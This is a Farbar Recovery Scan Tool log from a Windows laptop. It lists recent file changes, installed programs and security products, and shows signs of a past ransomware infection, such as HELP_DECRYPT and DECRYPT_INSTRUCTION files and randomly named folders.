2015-07-16 08:41 - 2015-03-08 22:02 - 00057856 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\bthhfenum.sys

2015-07-16 08:41 - 2014-12-19 04:57 - 00788680 _____ (Microsoft Corporation) C:\WINDOWS\system32\oleaut32.dll

2015-07-16 08:41 - 2014-12-19 04:25 - 00602776 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\oleaut32.dll

2015-07-16 08:41 - 2014-12-08 15:42 - 00535640 _____ (Microsoft Corporation) C:\WINDOWS\system32\wer.dll

2015-07-16 08:41 - 2014-12-08 15:42 - 00531616 _____ (Microsoft Corporation) C:\WINDOWS\system32\ci.dll

2015-07-16 08:41 - 2014-12-08 15:42 - 00448792 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wer.dll

2015-07-16 08:41 - 2014-12-08 15:42 - 00413248 _____ (Microsoft Corporation) C:\WINDOWS\system32\Faultrep.dll

2015-07-16 08:41 - 2014-12-08 15:42 - 00372408 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Faultrep.dll

2015-07-16 08:41 - 2014-12-08 15:42 - 00108944 _____ (Microsoft Corporation) C:\WINDOWS\system32\EncDump.dll

2015-07-16 08:41 - 2014-12-08 15:42 - 00038264 _____ (Microsoft Corporation) C:\WINDOWS\system32\WerFaultSecure.exe

2015-07-16 08:41 - 2014-12-08 15:42 - 00033584 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WerFaultSecure.exe

2015-07-16 08:41 - 2014-10-30 18:37 - 00129536 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\poqexec.exe

2015-07-16 08:41 - 2014-10-30 18:34 - 00146432 _____ (Microsoft Corporation) C:\WINDOWS\system32\poqexec.exe

2015-07-16 08:40 - 2015-05-02 20:39 - 00227328 _____ (Microsoft Corporation) C:\WINDOWS\system32\profsvc.dll

2015-07-16 08:38 - 2015-05-07 11:21 - 00522240 _____ (Microsoft Corporation) C:\WINDOWS\system32\GeofenceMonitorService.dll

2015-07-16 08:38 - 2015-05-07 11:05 - 00367104 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\GeofenceMonitorService.dll

2015-07-16 08:38 - 2015-04-09 20:34 - 02256896 _____ (Microsoft Corporation) C:\WINDOWS\system32\dwmcore.dll

2015-07-16 08:38 - 2015-04-09 20:11 - 01943040 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dwmcore.dll

2015-07-15 16:18 - 2015-02-20 19:49 - 00780800 _____ (Microsoft Corporation) C:\WINDOWS\system32\lsm.dll

2015-07-15 16:16 - 2015-04-24 22:25 - 00020992 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\usb8023.sys

2015-07-15 14:11 - 2015-03-13 00:03 - 00239424 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\sdbus.sys

2015-07-15 14:11 - 2015-03-13 00:03 - 00154432 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\dumpsd.sys

2015-07-15 11:02 - 2015-04-30 16:35 - 00124112 _____ (Microsoft Corporation) C:\WINDOWS\system32\PresentationCFFRasterizerNative_v0300.dll

2015-07-15 11:02 - 2015-04-30 16:35 - 00102608 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PresentationCFFRasterizerNative_v0300.dll

2015-07-14 08:21 - 2015-07-20 08:35 - 00000000 ___HD C:\7afd7914

2015-07-13 15:36 - 2015-07-13 15:36 - 00002233 _____ C:\Users\Richie\Desktop\HP Support Assistant.lnk

2015-07-13 15:33 - 2015-07-13 15:33 - 00000000 ____D C:\ProgramData\{18165758-115C-4DC0-9EC2-FF89F725767F}

2015-07-10 18:12 - 2015-07-12 01:16 - 00000000 ___DC C:\WINDOWS\Panther

2015-07-10 18:12 - 2015-07-10 18:12 - 00000000 __SHD C:\Recovery

2015-07-10 18:08 - 2015-07-10 18:08 - 00262144 _____ C:\WINDOWS\system32\config\userdiff

2015-07-10 18:05 - 2015-07-10 18:05 - 00000000 ____D C:\Program Files\Reference Assemblies

2015-07-10 18:05 - 2015-07-10 18:05 - 00000000 ____D C:\Program Files\MSBuild

2015-07-10 18:05 - 2015-07-10 18:05 - 00000000 ____D C:\Program Files (x86)\Reference Assemblies

2015-07-10 18:05 - 2015-07-10 18:05 - 00000000 ____D C:\Program Files (x86)\MSBuild

2015-07-10 18:05 - 2015-07-10 18:05 - 00000000 ____D C:\inetpub

2015-07-10 18:03 - 2013-08-03 00:48 - 01166520 _____ (Microsoft Corporation) C:\WINDOWS\system32\PresentationNative_v0300.dll

2015-07-10 18:03 - 2013-08-03 00:41 - 00778936 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PresentationNative_v0300.dll

2015-07-10 15:59 - 2015-07-20 08:44 - 00000000 __SHD C:\Users\Richie\AppData\Local\EmieBrowserModeList

2015-07-10 15:59 - 2015-07-20 08:43 - 00000000 __SHD C:\Users\Richie\AppData\Local\EmieUserList

2015-07-10 15:59 - 2015-07-20 08:43 - 00000000 __SHD C:\Users\Richie\AppData\Local\EmieSiteList

2015-07-10 15:39 - 2015-07-28 16:08 - 00000000 ___RD C:\Users\Richie\OneDrive

2015-07-10 15:34 - 2015-07-28 13:17 - 00000000 ____D C:\Users\Richie\AppData\Local\{beedd195-7534-c93e-bcaf-0a2671d4725d}

2015-07-10 15:34 - 2015-07-10 15:34 - 00000000 ___HD C:\ProgramData\{F66CB4EE-546F-4D54-9332-216DE189AAB0}

2015-07-10 15:30 - 2015-07-10 15:30 - 00001442 _____ C:\Users\Richie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk

2015-07-10 15:28 - 2015-07-10 15:28 - 00000020 ___SH C:\Users\Richie\ntuser.ini

2015-07-10 15:20 - 2015-07-28 16:34 - 01701369 _____ C:\WINDOWS\WindowsUpdate.log

2015-07-10 15:19 - 2015-07-10 15:19 - 00022744 _____ C:\WINDOWS\system32\emptyregdb.dat

2015-07-10 14:53 - 2015-07-10 14:53 - 00001547 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk

2015-07-10 14:53 - 2015-07-10 14:53 - 00000000 ____D C:\Users\Default\Documents\hp.system.package.metadata

2015-07-10 14:53 - 2015-07-10 14:53 - 00000000 ____D C:\Users\Default User\Documents\hp.system.package.metadata

2015-07-10 14:46 - 2015-07-10 14:46 - 00000000 ____D C:\WINDOWS\system32\config\bbimigrate

2015-07-10 14:35 - 2015-07-27 20:13 - 00000000 ____D C:\Users\Richie

2015-07-10 14:35 - 2015-07-10 14:45 - 00000000 ___RD C:\Users\Richie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools

2015-07-10 14:35 - 2014-11-21 11:57 - 00000000 ___RD C:\Users\Richie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories

2015-07-10 14:35 - 2014-11-21 11:57 - 00000000 ___RD C:\Users\Richie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility

2015-07-10 14:35 - 2014-11-21 04:52 - 00000369 _____ C:\Users\Richie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Pictures.lnk

2015-07-10 14:35 - 2014-11-21 04:52 - 00000369 _____ C:\Users\Richie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Documents.lnk

2015-07-10 14:35 - 2013-08-22 11:36 - 00000000 ____D C:\Users\Richie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance

2015-07-10 14:34 - 2015-07-10 15:20 - 00020958 _____ C:\WINDOWS\diagwrn.xml

2015-07-10 14:34 - 2015-07-10 15:20 - 00020958 _____ C:\WINDOWS\diagerr.xml

2015-07-10 14:21 - 2015-07-10 14:45 - 00012096 _____ C:\WINDOWS\iis.log

2015-07-10 14:21 - 2015-07-10 14:21 - 00930400 _____ C:\WINDOWS\SysWOW64\PerfStringBackup.INI

2015-07-10 14:16 - 2015-07-10 14:16 - 00000264 _____ C:\WINDOWS\Tasks\Synaptics TouchPad Enhancements.job

2015-07-10 14:16 - 2015-07-10 14:16 - 00000000 ____D C:\WINDOWS\SysWOW64\RTCOM

2015-07-10 14:16 - 2015-07-10 14:16 - 00000000 ____D C:\Program Files\Realtek

2015-07-10 14:16 - 2015-07-10 14:16 - 00000000 ____D C:\Program Files\Common Files\ATI Technologies

2015-07-10 14:16 - 2015-07-10 14:16 - 00000000 _____ C:\WINDOWS\ativpsrm.bin

2015-07-10 14:15 - 2015-07-10 14:15 - 00000000 ____H C:\WINDOWS\system32\Drivers\Msft_Kernel_SynTP_01009.Wdf

2015-07-10 14:15 - 2015-07-10 14:15 - 00000000 ____D C:\Program Files\Synaptics

2015-07-10 12:07 - 2015-07-10 15:20 - 00006605 _____ C:\WINDOWS\comsetup.log

2015-07-08 08:00 - 2015-07-12 01:09 - 00000000 ____D C:\WINDOWS\system32\AutoUpdateLicense

2015-07-06 09:21 - 2015-03-04 03:26 - 00011105 ____N C:\WINDOWS\system32\AutoconfigV2.cab

==================== One Month Modified files and folders ========

(If an entry is included in the fixlist, the file/folder will be moved.)

2015-07-28 16:32 - 2012-07-26 03:59 - 00000000 ____D C:\WINDOWS\CbsTemp

2015-07-28 16:16 - 2013-06-06 22:42 - 00003598 _____ C:\WINDOWS\System32\Tasks\Optimize Start Menu Cache Files-S-1-5-21-2321640021-2341620851-140482586-1002

2015-07-28 16:13 - 2014-11-21 04:44 - 00956476 _____ C:\WINDOWS\system32\PerfStringBackup.INI

2015-07-28 16:05 - 2013-08-22 10:46 - 00298411 _____ C:\WINDOWS\setupact.log

2015-07-28 16:05 - 2013-08-22 10:45 - 00000006 ____H C:\WINDOWS\Tasks\SA.DAT

2015-07-28 16:04 - 2014-11-21 04:34 - 00868726 _____ C:\WINDOWS\PFRO.log

2015-07-28 16:03 - 2013-08-22 09:25 - 00786432 ___SH C:\WINDOWS\system32\config\BBI

2015-07-28 16:00 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\system32\sru

2015-07-28 13:20 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\vpnplugins

2015-07-28 13:17 - 2014-12-06 22:56 - 00000000 ____D C:\ProgramData\LeboBukmo

2015-07-28 13:17 - 2014-11-26 00:56 - 00000000 ____D C:\Users\Richie\AppData\Roaming\FrameworkUpdate

2015-07-28 13:17 - 2014-11-21 00:32 - 00000000 ____D C:\ProgramData\IomuTdilf

2015-07-28 13:17 - 2014-11-11 19:24 - 00000000 ____D C:\Users\Richie\AppData\Roaming\FrameworkUpdate7

2015-07-28 13:17 - 2014-11-11 19:24 - 00000000 ____D C:\ProgramData\XesviPteyu

2015-07-28 13:17 - 2014-11-11 19:24 - 00000000 ____D C:\ProgramData\IojdOnyo

2015-07-28 13:17 - 2014-11-09 01:59 - 00000000 ____D C:\ProgramData\XiboHbik

2015-07-28 13:17 - 2014-11-09 01:59 - 00000000 ____D C:\ProgramData\EoxoKazxa

2015-07-28 13:17 - 2014-11-07 20:16 - 00000000 ____D C:\ProgramData\RogoLatk

2015-07-28 13:17 - 2014-11-07 20:15 - 00000000 ____D C:\ProgramData\BoweCpeb

2015-07-28 13:17 - 2013-06-06 20:08 - 00000000 ____D C:\Users\Richie\AppData\Roaming\Adobe

2015-07-28 12:02 - 2013-09-27 22:11 - 00000000 ____D C:\WINDOWS\system32\MRT

2015-07-28 11:48 - 2013-06-06 20:08 - 00003922 _____ C:\WINDOWS\System32\Tasks\User_Feed_Synchronization-{3DBD3851-149E-4BFD-A49D-F9E67AA1E10F}

2015-07-28 11:47 - 2014-11-05 01:20 - 00000000 ____D C:\ProgramData\HezagTonag

2015-07-27 20:17 - 2013-08-22 10:44 - 00337808 _____ C:\WINDOWS\system32\FNTCACHE.DAT

2015-07-27 19:02 - 2013-04-23 03:51 - 00000000 ____D C:\ProgramData\Norton

2015-07-27 18:55 - 2013-08-22 09:25 - 00262144 ___SH C:\WINDOWS\system32\config\ELAM

2015-07-27 18:55 - 2012-07-26 04:12 - 00000000 ___HD C:\WINDOWS\ELAMBKUP

2015-07-25 09:24 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\AppReadiness

2015-07-25 09:18 - 2013-06-06 20:03 - 00000000 ____D C:\Users\Richie\AppData\Local\Packages

2015-07-21 16:58 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\rescache

2015-07-20 08:44 - 2015-01-29 00:30 - 00020480 ___SH C:\Users\Richie\Desktop\Thumbs.db

2015-07-20 08:01 - 2013-08-22 11:36 - 00000000 ___RD C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools

2015-07-20 08:01 - 2013-08-22 11:36 - 00000000 ___RD C:\Users\Default User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools

2015-07-20 08:01 - 2013-08-22 11:36 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories

2015-07-20 08:00 - 2013-08-22 11:36 - 00000000 ___RD C:\WINDOWS\ToastData

2015-07-20 08:00 - 2013-08-22 11:36 - 00000000 ___RD C:\WINDOWS\ImmersiveControlPanel

2015-07-20 08:00 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\WinStore

2015-07-20 08:00 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\system32\sr-Latn-RS

2015-07-20 08:00 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\system32\sr-Latn-CS

2015-07-20 08:00 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\PolicyDefinitions

2015-07-20 08:00 - 2013-08-22 11:36 - 00000000 ____D C:\Program Files\Windows Defender

2015-07-20 08:00 - 2013-08-22 11:36 - 00000000 ____D C:\Program Files (x86)\Windows Defender

2015-07-20 08:00 - 2013-08-22 09:36 - 00000000 ____D C:\WINDOWS\system32\AdvancedInstallers

2015-07-18 11:03 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\system32\NDF

2015-07-18 08:25 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\AppCompat

2015-07-17 10:52 - 2014-11-21 04:25 - 00000000 ____D C:\Program Files\Windows Journal

2015-07-17 09:50 - 2013-04-23 02:57 - 00000000 ____D C:\Program Files (x86)\ATI Technologies

2015-07-17 08:53 - 2014-11-21 11:56 - 00000000 ___SD C:\WINDOWS\system32\CompatTel

2015-07-13 17:10 - 2014-11-21 12:03 - 00792568 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerApp.exe

2015-07-13 17:10 - 2014-11-21 12:03 - 00178168 _____ (Adobe Systems Incorporated) C:\WINDOWS\SysWOW64\FlashPlayerCPLApp.cpl

2015-07-13 15:37 - 2014-07-06 22:58 - 00000350 _____ C:\WINDOWS\Tasks\HPCeeScheduleForRichie.job

2015-07-13 15:36 - 2012-08-17 14:28 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HP Help and Support

2015-07-13 15:36 - 2012-08-17 14:28 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information

2015-07-13 15:34 - 2012-08-17 14:00 - 00000000 ____D C:\Program Files (x86)\Hewlett-Packard

2015-07-13 15:30 - 2012-08-17 14:26 - 00000000 ____D C:\ProgramData\Hewlett-Packard

2015-07-13 15:29 - 2012-08-17 14:28 - 00000000 ____D C:\WINDOWS\System32\Tasks\Hewlett-Packard

2015-07-13 15:25 - 2012-08-03 20:02 - 00000000 ____D C:\SWSetup

2015-07-10 18:09 - 2013-08-22 11:36 - 00262144 _____ C:\WINDOWS\system32\config\BCD-Template

2015-07-10 18:05 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\SysWOW64\inetsrv

2015-07-10 18:05 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\system32\inetsrv

2015-07-10 18:04 - 2014-11-21 05:16 - 00202240 _____ (Microsoft Corporation) C:\WINDOWS\system32\iisRtl.dll

2015-07-10 18:04 - 2014-11-21 05:16 - 00168960 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iisRtl.dll

2015-07-10 18:04 - 2014-11-21 05:16 - 00063488 _____ (Microsoft Corporation) C:\WINDOWS\system32\ahadmin.dll

2015-07-10 18:04 - 2014-11-21 05:16 - 00055808 _____ (Microsoft Corporation) C:\WINDOWS\system32\admwprox.dll

2015-07-10 18:04 - 2014-11-21 05:16 - 00051200 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\admwprox.dll

2015-07-10 18:04 - 2014-11-21 05:16 - 00025600 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ahadmin.dll

2015-07-10 18:04 - 2014-11-21 05:16 - 00017920 _____ (Microsoft Corporation) C:\WINDOWS\system32\iisreset.exe

2015-07-10 18:04 - 2014-11-21 05:16 - 00015872 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iisreset.exe

2015-07-10 18:04 - 2014-11-21 05:16 - 00015872 _____ (Microsoft Corporation) C:\WINDOWS\system32\wamregps.dll

2015-07-10 18:04 - 2014-11-21 05:16 - 00012800 _____ (Microsoft Corporation) C:\WINDOWS\system32\iisrstap.dll

2015-07-10 18:04 - 2014-11-21 05:16 - 00011264 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wamregps.dll

2015-07-10 18:04 - 2014-11-21 05:16 - 00009728 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\iisrstap.dll

2015-07-10 15:20 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\Registration

2015-07-10 15:15 - 2013-08-22 11:36 - 00000000 __RSD C:\WINDOWS\Media

2015-07-10 15:15 - 2013-08-22 11:36 - 00000000 __RHD C:\Users\Public\Libraries

2015-07-10 14:54 - 2013-08-22 09:36 - 00000000 ____D C:\WINDOWS\system32\Sysprep

2015-07-10 14:54 - 2013-04-23 03:36 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Communication and Chat

2015-07-10 14:54 - 2013-04-23 03:28 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CyberLink LabelPrint

2015-07-10 14:54 - 2013-04-23 03:23 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Productivity and Tools

2015-07-10 14:54 - 2012-08-17 14:32 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games

2015-07-10 14:54 - 2012-08-17 14:13 - 00000000 ____D C:\WINDOWS\en

2015-07-10 14:54 - 2012-08-17 14:12 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Live

2015-07-10 14:53 - 2013-08-22 11:37 - 00005217 _____ C:\WINDOWS\DtcInstall.log

2015-07-10 14:53 - 2012-07-26 01:37 - 00000000 ____D C:\Users\Default.migrated

2015-07-10 14:52 - 2014-11-21 04:00 - 00000000 ____D C:\WINDOWS\SysWOW64\WCN

2015-07-10 14:52 - 2014-11-21 04:00 - 00000000 ____D C:\WINDOWS\SysWOW64\sysprep

2015-07-10 14:52 - 2014-11-21 04:00 - 00000000 ____D C:\WINDOWS\system32\WCN

2015-07-10 14:52 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\SysWOW64\MUI

2015-07-10 14:52 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\SysWOW64\migwiz

2015-07-10 14:52 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\SysWOW64\IME

2015-07-10 14:52 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\system32\spool

2015-07-10 14:52 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\system32\MUI

2015-07-10 14:52 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\system32\IME

2015-07-10 14:52 - 2013-08-22 09:36 - 00000000 ____D C:\WINDOWS\SysWOW64\SMI

2015-07-10 14:52 - 2013-08-22 09:36 - 00000000 ____D C:\WINDOWS\system32\oobe

2015-07-10 14:52 - 2013-04-23 03:06 - 00000000 ____D C:\WINDOWS\SysWOW64\sda

2015-07-10 14:52 - 2012-08-17 14:07 - 00000000 ____D C:\WINDOWS\SysWOW64\Adobe

2015-07-10 14:50 - 2013-08-22 11:43 - 00000000 ____D C:\WINDOWS\DigitalLocker

2015-07-10 14:50 - 2013-08-22 11:36 - 00000000 __SHD C:\Program Files\Windows Sidebar

2015-07-10 14:50 - 2013-08-22 11:36 - 00000000 __SHD C:\Program Files (x86)\Windows Sidebar

2015-07-10 14:50 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\Help

2015-07-10 14:50 - 2013-08-22 11:36 - 00000000 ____D C:\Program Files\Common Files\microsoft shared

2015-07-10 14:50 - 2013-06-06 20:07 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Shopping and Services

2015-07-10 14:50 - 2012-08-17 14:05 - 00000000 ___RD C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Security and Protection

2015-07-10 14:50 - 2012-08-03 18:29 - 00000000 ____D C:\ProgramData\PRICache

2015-07-10 14:46 - 2013-08-22 11:36 - 00000000 ____D C:\WINDOWS\system32\Recovery

2015-07-10 14:14 - 2013-08-22 09:36 - 00000000 __RHD C:\Users\Default

2015-07-10 13:48 - 2013-06-06 20:03 - 02013866 _____ C:\WINDOWS\WindowsUpdate (1).log

2015-07-10 10:22 - 2012-07-26 04:12 - 00000000 ____D C:\WINDOWS\AUInstallAgent

2015-07-08 07:59 - 2014-12-13 10:58 - 00000000 ____D C:\Users\Richie\AppData\Roaming\Ecidcuo

2015-07-08 07:59 - 2014-12-06 22:58 - 00000000 ____D C:\Users\Richie\AppData\Roaming\Evcoguyl

2015-07-08 07:59 - 2014-11-21 00:33 - 00000000 ____D C:\Users\Richie\AppData\Roaming\Urablax

2015-07-06 16:41 - 2015-06-21 01:14 - 00000000 ____D C:\Users\Public\Downloads\Norton

2015-07-03 08:43 - 2013-07-17 21:58 - 130333168 _____ (Microsoft Corporation) C:\WINDOWS\system32\MRT.exe

==================== Files in the root of some directories =======

2015-07-17 10:59 - 2015-07-17 10:59 - 0266240 _____ () C:\Users\Richie\AppData\Roaming\7afd7914.dll

2014-11-11 19:33 - 2014-11-11 19:33 - 0008516 _____ () C:\Users\Richie\AppData\Roaming\DECRYPT_INSTRUCTION.HTML

2014-11-11 19:33 - 2014-11-11 19:33 - 0004198 _____ () C:\Users\Richie\AppData\Roaming\DECRYPT_INSTRUCTION.TXT

2014-11-11 19:33 - 2014-11-11 19:33 - 0000268 _____ () C:\Users\Richie\AppData\Roaming\DECRYPT_INSTRUCTION.URL

2015-01-29 00:25 - 2015-01-29 00:25 - 0008528 _____ () C:\Users\Richie\AppData\Roaming\HELP_DECRYPT.HTML

2015-01-29 00:25 - 2015-01-29 00:25 - 0045533 _____ () C:\Users\Richie\AppData\Roaming\HELP_DECRYPT.PNG

2015-01-29 00:25 - 2015-01-29 00:25 - 0004204 _____ () C:\Users\Richie\AppData\Roaming\HELP_DECRYPT.TXT

2015-01-29 00:25 - 2015-01-29 00:25 - 0000272 _____ () C:\Users\Richie\AppData\Roaming\HELP_DECRYPT.URL

2014-11-11 19:24 - 2014-11-11 19:24 - 0000448 ____H () C:\Users\Richie\AppData\Roaming\麽鎒駓覜

2014-11-11 19:33 - 2014-11-11 19:33 - 0008516 _____ () C:\Users\Richie\AppData\Local\DECRYPT_INSTRUCTION.HTML

2014-11-11 19:33 - 2014-11-11 19:33 - 0004198 _____ () C:\Users\Richie\AppData\Local\DECRYPT_INSTRUCTION.TXT

2014-11-11 19:33 - 2014-11-11 19:33 - 0000268 _____ () C:\Users\Richie\AppData\Local\DECRYPT_INSTRUCTION.URL

2015-01-29 00:24 - 2015-01-29 00:24 - 0008528 _____ () C:\Users\Richie\AppData\Local\HELP_DECRYPT.HTML

2015-01-29 00:24 - 2015-01-29 00:24 - 0045533 _____ () C:\Users\Richie\AppData\Local\HELP_DECRYPT.PNG

2015-01-29 00:24 - 2015-01-29 00:24 - 0004204 _____ () C:\Users\Richie\AppData\Local\HELP_DECRYPT.TXT

2015-01-29 00:24 - 2015-01-29 00:24 - 0000272 _____ () C:\Users\Richie\AppData\Local\HELP_DECRYPT.URL

2014-11-11 19:24 - 2015-01-28 23:26 - 0000664 _____ () C:\ProgramData\@system.temp

2014-11-11 19:25 - 2015-01-28 23:27 - 0000400 ____H () C:\ProgramData\@system3.att

Some files in TEMP:

====================

C:\Users\Richie\AppData\Local\Temp\avgnt.exe

C:\Users\Richie\AppData\Local\Temp\sp64126.exe

C:\Users\Richie\AppData\Local\Temp\UninstallHPSA.exe

==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\System32\winlogon.exe => File is digitally signed

C:\Windows\System32\wininit.exe => File is digitally signed

C:\Windows\explorer.exe => File is digitally signed

C:\Windows\SysWOW64\explorer.exe => File is digitally signed

C:\Windows\System32\svchost.exe => File is digitally signed

C:\Windows\SysWOW64\svchost.exe => File is digitally signed

C:\Windows\System32\services.exe => File is digitally signed

C:\Windows\System32\User32.dll => File is digitally signed

C:\Windows\SysWOW64\User32.dll => File is digitally signed

C:\Windows\System32\userinit.exe => File is digitally signed

C:\Windows\SysWOW64\userinit.exe => File is digitally signed

C:\Windows\System32\rpcss.dll => File is digitally signed

C:\Windows\System32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2015-07-28 16:17

==================== End of log ============================

Additional scan result of Farbar Recovery Scan Tool (x64) Version:26-07-2015

Ran by Richie at 2015-07-28 16:37:53

Running from C:\Users\Richie\Downloads

Boot Mode: Normal

==========================================================

==================== Accounts: =============================

Administrator (S-1-5-21-2321640021-2341620851-140482586-500 - Administrator - Disabled)

Guest (S-1-5-21-2321640021-2341620851-140482586-501 - Limited - Disabled)

HomeGroupUser$ (S-1-5-21-2321640021-2341620851-140482586-1004 - Limited - Enabled)

Richie (S-1-5-21-2321640021-2341620851-140482586-1002 - Administrator - Enabled) => C:\Users\Richie

==================== Security Center ========================

(If an entry is included in the fixlist, it will be removed.)

AV: Avira Antivirus (Enabled - Out of date) {4D041356-F94D-285F-8768-AAE50FA36859}

AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

AS: Avira Antivirus (Enabled - Out of date) {F665F2B2-DF77-27D1-BDD8-9197742422E4}

AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installed Programs ======================

(Only the adware programs with "hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)

4 Elements II (x32 Version: 2.2.0.98 - WildTangent) Hidden

Adobe Shockwave Player 11.6 (HKLM-x32\...\Adobe Shockwave Player) (Version: 11.6.5.635 - Adobe Systems, Inc.)

AMD Catalyst Install Manager (HKLM\...\{63ADEC24-A374-80A8-E89B-BE401C787F75}) (Version: 8.0.881.0 - Advanced Micro Devices, Inc.)

AMD VISION Engine Control Center (HKLM-x32\...\WUCCCApp) (Version: 1.00.0000 - AMD)

Avira (HKLM-x32\...\{8467e01f-0496-42ce-b247-88ef205b4880}) (Version: 1.1.40.29239 - Avira Operations GmbH & Co. KG)

Avira (x32 Version: 1.1.40.29239 - Avira Operations GmbH & Co. KG) Hidden

Avira Antivirus (HKLM-x32\...\Avira Antivirus) (Version: 15.0.12.408 - Avira Operations GmbH & Co. KG)

Bejeweled 3 (x32 Version: 2.2.0.98 - WildTangent) Hidden

Bonjour (HKLM\...\{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}) (Version: 3.0.0.10 - Apple Inc.)

Build-a-lot 4 - Power Source (x32 Version: 2.2.0.98 - WildTangent) Hidden

Chuzzle Deluxe (x32 Version: 2.2.0.95 - WildTangent) Hidden

Cradle Of Egypt Collector's Edition (x32 Version: 2.2.0.98 - WildTangent) Hidden

Cradle of Rome 2 (x32 Version: 2.2.0.98 - WildTangent) Hidden

CyberLink LabelPrint (HKLM-x32\...\InstallShield_{C59C179C-668D-49A9-B6EA-0121CCFC1243}) (Version: 2.5.1.5407 - CyberLink Corp.)

CyberLink Media Suite 10 (HKLM-x32\...\InstallShield_{1FBF6C24-C1fD-4101-A42B-0C564F9E8E79}) (Version: 10.0.1.1916 - CyberLink Corp.)

CyberLink Power2Go 8 (HKLM-x32\...\InstallShield_{2A87D48D-3FDF-41fd-97CD-A1E370EFFFE2}) (Version: 8.0.1.1926 - CyberLink Corp.)

CyberLink PowerDVD (HKLM-x32\...\InstallShield_{DEC235ED-58A4-4517-A278-C41E8DAEAB3B}) (Version: 10.0.6.4319 - CyberLink Corp.)

CyberLink YouCam (HKLM-x32\...\InstallShield_{01FB4998-33C4-4431-85ED-079E3EEFE75D}) (Version: 3.5.4.5527 - CyberLink Corp.)

D3DX10 (x32 Version: 15.4.2368.0902 - Microsoft) Hidden

Energy Star (HKLM\...\{0FA995CC-C849-4755-B14B-5404CC75DC24}) (Version: 1.0.8 - Hewlett-Packard)

Farm Frenzy (x32 Version: 2.2.0.98 - WildTangent) Hidden

FATE: The Cursed King (x32 Version: 2.2.0.97 - WildTangent) Hidden

Final Drive Fury (x32 Version: 2.2.0.95 - WildTangent) Hidden

FlatOut 2 (x32 Version: 2.2.0.98 - WildTangent) Hidden

Google Chrome (HKLM-x32\...\Google Chrome) (Version: 44.0.2403.107 - Google Inc.)

Google Update Helper (x32 Version: 1.3.28.1 - Google Inc.) Hidden

Governor of Poker 2 Premium Edition (x32 Version: 2.2.0.95 - WildTangent) Hidden

Hewlett-Packard ACLM.NET v1.2.2.3 (x32 Version: 1.00.0000 - Hewlett-Packard Company) Hidden

Hoyle Card Games (x32 Version: 2.2.0.95 - WildTangent) Hidden

HP Documentation (HKLM-x32\...\{AE986BF5-B6E3-4F8D-B412-A3DD90DF5146}) (Version: 1.1.1.0 - Hewlett-Packard)

